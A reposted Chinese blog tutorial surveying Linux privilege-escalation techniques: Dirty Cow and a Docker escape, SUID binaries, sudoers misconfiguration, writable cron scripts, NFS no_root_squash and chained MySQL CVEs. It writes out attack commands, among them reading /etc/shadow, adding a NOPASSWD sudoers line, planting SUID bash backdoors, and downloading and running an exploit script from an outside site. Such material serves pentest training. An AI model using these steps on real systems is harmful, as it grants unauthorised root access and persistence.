天天看點

mysql提權方式linux_Linux提權的幾種常用姿勢

在滲透測試過程中,提升權限是非常關鍵的一步,攻擊者往往可以通過利用核心漏洞/權限配置不當/root權限運作的服務等方式尋找突破點,來達到提升權限的目的。

1、核心漏洞提權

提起核心漏洞提權就不得不提到髒牛漏洞(Dirty Cow),是存在時間最長且影響範圍最廣的漏洞之一。低權限使用者可以利用該漏洞實作本地提權,同時可以通過該漏洞實作Docker容器逃逸,獲得root權限的shell。

1.1 本地核心提權

(1)檢測核心版本

# 檢視系統發行版本

lsb_release-a

# 檢視核心版本

uname-a

mysql提權方式linux_Linux提權的幾種常用姿勢

(2) 下載下傳,編譯生成exp檔案

[email protected]:~$ make

[email protected]:~$

mysql提權方式linux_Linux提權的幾種常用姿勢

(3)執行成功,傳回一個root權限的shell。

mysql提權方式linux_Linux提權的幾種常用姿勢

1.2 利用DirtyCow漏洞實作Docker逃逸

(1)進入容器,編譯POC并執行:

mysql提權方式linux_Linux提權的幾種常用姿勢

(2)在攻擊者機器上,成功接收到主控端反彈的shell。

mysql提權方式linux_Linux提權的幾種常用姿勢

1.3 Linux提權輔助工具

github項目位址:

https://github.com/mzet-/linux-exploit-suggester.git

wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh

(1)根據作業系統版本号自動查找相應提權腳本

mysql提權方式linux_Linux提權的幾種常用姿勢

(2)根據提示下載下傳poc,編譯執行。

mysql提權方式linux_Linux提權的幾種常用姿勢

2、利用SUID提權

SUID是一種特殊權限,可以讓調用者在執行過程中暫時獲得該檔案擁有者的權限。如果可以找到并運作root使用者所擁有的SUID的檔案,那麼就可以在運作該檔案的時候獲得root使用者權限。

(1)在Linux中查找可以用來提權的SUID檔案

find / -perm -u=s -type f 2>/dev/null

mysql提權方式linux_Linux提權的幾種常用姿勢

(2)通過find以root權限執行指令

mysql提權方式linux_Linux提權的幾種常用姿勢

可用作Linux提權的指令及其姿勢:

#Find

find pentestlab-exec whoami \;

#Vim

vim.tiny/etc/shadow

#awk

awk'BEGIN{system("whoami")}'#curl

curl file:///etc/shadow

#Bash

bash-p

#Less

less/etc/passwd

#Nmap

nmap--interactive

3、SUDO提權

普通使用者在使用sudo執行指令的過程中,會以root方式執行指令。在很多場景裡,管理者為了運維管理友善,sudoer配置檔案錯誤導緻提權。

(1)設定sudo免密碼

$vi /etc/sudoers

在最後一行添加:bypass ALL=(ALL:ALL) NOPASSWD:ALL

(2)檢視sudo的權限

mysql提權方式linux_Linux提權的幾種常用姿勢

4、計劃任務

如果可以找到可以有權限修改的計劃任務腳本,就可以修改腳本實作提權。本質上,就是檔案權限配置不當。

(1)檢視計劃任務,找到有修改權限的計劃任務腳本

ls -l /etc/cron*more/etc/crontab

mysql提權方式linux_Linux提權的幾種常用姿勢

(2)在mysqlback.sh 添加 SUID shell後門,當定時任務以root再次執行的時候,可以擷取root權限

cp /bin/bash /tmp/shell

chmod u+s /tmp/shell

mysql提權方式linux_Linux提權的幾種常用姿勢

5、NFS提權

當伺服器中存在NFS共享,開啟no_root_squash選項時,如果用戶端使用的是root使用者,那麼對于共享目錄來說,該用戶端就有root權限,可以使用它來提升權限。

(1)檢視NFS伺服器上的共享目錄

sudo showmount -e 10.1.1.233

mysql提權方式linux_Linux提權的幾種常用姿勢

(2)建立本地挂載目錄,挂載共享目錄。使用攻擊者本地root權限建立Suid shell。

sudo mkdir -p /tmp/data

sudo mount-t nfs 10.1.1.233:/home/bypass /tmp/data

cp/bin/bash /tmp/data/shell

chmod u+s /tmp/data/shell

mysql提權方式linux_Linux提權的幾種常用姿勢

(3)回到要提權的伺服器上,使用普通使用者使用-p參數來擷取root權限。

mysql提權方式linux_Linux提權的幾種常用姿勢

6、MySQL提權

MySQL提權方式有UDF提權,MOF提權,寫入啟動項提權等方式,但比較有意思的是CVE-2016-6663、CVE-2016-6664組合利用的提取場景,可以将一個www-data權限提升到root權限。

(1)利用CVE-2016-6663将www-data權限提升為mysql權限

cd /var/www/html/gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient

./mysql-privesc-race test 123456 localhost testdb

(2)利用CVE-2016-6664将Mysql權限提升為root權限:

wget http://legalhackers.com/exploits/CVE-2016-6664/mysql-chowned.sh

chmod 777 mysql-chowned.sh

./mysql-chowned.sh /var/log/mysql/error.log